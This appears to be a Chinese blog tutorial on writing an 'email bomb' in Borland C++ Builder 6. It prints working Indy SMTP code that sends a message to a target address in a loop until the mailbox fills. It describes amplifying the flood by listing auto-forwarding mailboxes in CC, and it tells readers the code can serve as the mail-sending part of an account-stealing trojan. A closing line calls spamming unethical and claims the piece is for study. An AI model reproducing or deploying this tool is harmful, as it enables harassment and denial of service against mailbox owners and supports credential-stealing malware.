利用BCB,自己写邮箱群发器

测试环境:BCB6.0 +XP SP2

Email:c4rp3nt3r[4]gmial.com



前几在黑防看到利用BCB打造QQ消息炸弹。心里老痒痒,正好自己在学写邮箱发信的小程序,突然一想现在邮箱都有身份验证,所以邮箱炸弹少了,是不是自己也可以写一个邮箱炸弹呢?怎么说自己也看了好多期黑防,今天来实践一次。


思路很简单:就是不断的给一个邮箱发信,或者间隔多长时间发信,直到把邮箱撑爆。

程序是单线程的,如何才能提高发信效率呢?我发现现在的邮箱大多有自动转发功能,好我们先申请几个邮箱,设置自动转发到要轰炸邮箱,然后把我们申请的邮箱填到抄送栏目,那么我们就可以用很少的资源达到很好的效果。

程序的关键是利用BCB 6.0自带的Indy v8.0组建中的IdSMTP和IdMessage控件实现发信功能,相信菜菜看完后可以改为自己的盗号木马的发信部分.

编程实现:

打开bcb6.0,程序默认新建一个工程,我们在窗体上加入IndyClents标签的IdSMTP及Indy Misc标签的IdMessage控件,为发送邮件的控件..

一个Dialogs标签下的OpenDialog控件,为选择附件爱能用到的.

一个ComBoBox为选择smtp服务器的控件;

六个控件改name属fromEdit,nameEdit,pwdEdit,toEdit,chaosongEdit和timeEdit.一个ChackBox和一个GroupBox等如图所示:







关键发信代码如下:

IdMessage1->Recipients->EMailAddresses = toEdit->Text; //邮件接收者的信箱

IdMessage1->From->Text = fromEdit->Text; //邮件发送者的信箱

IdMessage1->Subject = subjectEdit->Text; //邮件的标题

IdMessage1->Body->Add(Memo1->Lines->Text);//邮件内容

IdMessage1->CCList->EMailAddresses = chaosongEdit->Text; //邮件的抄送地址

IdMessage1->MessageParts->Clear();

if(strcmp("\0",fujianEdit->Text.c_str())!=0)

{

AnsiString AttFile=fujianEdit->Text ; //附件文件名

IdMessage1->MessageParts->Add();

new TIdAttachment(IdMessage1->MessageParts,AttFile);

}

if (IdSMTP1->Connected())

{

IdSMTP1->Disconnect();

}

IdSMTP1->AuthenticationType = atLogin; //登录服务器类型选择

IdSMTP1->Host = ComboBox1->Text; //SMTP服务器

IdSMTP1->UserId = nameEdit->Text; //邮箱的用户名

IdSMTP1->Password = pwdEdit->Text; //邮箱的密码

IdSMTP1->Port = 25; //端口

IdSMTP1->Connect(); //连接SMTP服务器

if (IdSMTP1->Authenticate()) //用户验证

{

StatusBar1->SimpleText="登录服务器验证成功!";

for(int i=1;i<=StrToInt(timeEdit->Text);i++)

{

IdSMTP1->Send(IdMessage1); //发送邮件

StatusBar1->SimpleText="邮件发送成功";

if(CheckBox1->Checked)

Sleep(StrToInt(frequentEdit->Text)*60*1000); //暂停几分钟继续发送

}

}

IdSMTP1->Disconnect(); //中断连接SMTP服务器

}

用我自己的邮箱测试了一下效果还可以。发送垃圾邮件是不道德的事情,本文只为学习交流。

注:现在支持smtp发信的免费邮箱有sina,qq需要设置一下smtp和pop3收信。

0 评论: